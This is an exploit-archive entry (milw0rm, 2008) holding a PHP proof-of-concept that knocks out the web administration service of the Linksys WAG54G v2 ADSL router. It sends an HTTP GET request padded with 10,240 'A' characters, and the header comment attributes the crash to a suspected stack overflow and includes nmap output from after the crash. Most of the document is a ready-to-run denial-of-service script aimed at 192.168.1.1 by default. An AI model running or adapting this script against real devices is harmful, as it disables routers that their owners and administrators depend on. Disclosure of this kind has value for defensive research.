Linksys WAG54G v2 Wireless ADSL Router - HTTPd Denial of Service

<?php
/*
* LinkSys Wireless ADSL Router httpd DoS Vulnerability
*
* Product : Linksys (Division of Cisco Systems)
* Device  : WAG54G V.2
* Firmware: 1.02.20
* Notes   : Other devices and firmware versions are no doubt vulnerable. 
*
* Written by: r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
*
* Sending a large HTTP GET/POST request (10240) to the router results in DoS
* of the httpd service. 
*
* After discovering this vulnerability I read about similar vulnerabilities
* in different devices. It would seem this device is vulnerable to more 
* previously disclosed vulnerabilities also, just this device was not tested. 
*
* It has been suggested that this is a stack overflow vulnerability.
* http://www.securiteam.com/securitynews/5NP0D15GUE.html
* https://www.securityfocus.com/bid/6301/info
*
* unable to connect to 192.168.1.1:80 (Connection refused)
*
* r0ut3r@kit:~> nmap 192.168.1.1
*
* Starting Nmap 4.20 ( http://insecure.org ) at 2008-12-12 12:17 EST
* Interesting ports on 192.168.1.1:
* Not shown: 1695 closed ports
* PORT    STATE SERVICE
* 23/tcp  open  telnet
* 443/tcp open  https
*
* Nmap finished: 1 IP address (1 host up) scanned in 7.403 seconds
*
* Looks like HTTP died... 
* HTTPS is running however you cannot login. The service is basically useless. 
* Telnet is also open for administration (if configured to be). 
*
* Apart from not being able to use the Web Administration Interface the device
* seems to function fine. 
*/

set_time_limit(0);

$host = "192.168.1.1"; //Default IP is 192.168.1.1
if (isset($argv[1]))
    $host = $argv[1];
$port = 80;

echo "Connecting...\n";
$conn = fsockopen($host, $port, $errno, $errstr);
if ($conn)
{
    $payload = "GET /".str_repeat('A', 10240)." HTTP/1.1";

    if (fwrite($conn, $payload))
        echo "Payload sent!\n";

    fclose($conn);
}
?>

# milw0rm.com [2008-12-21]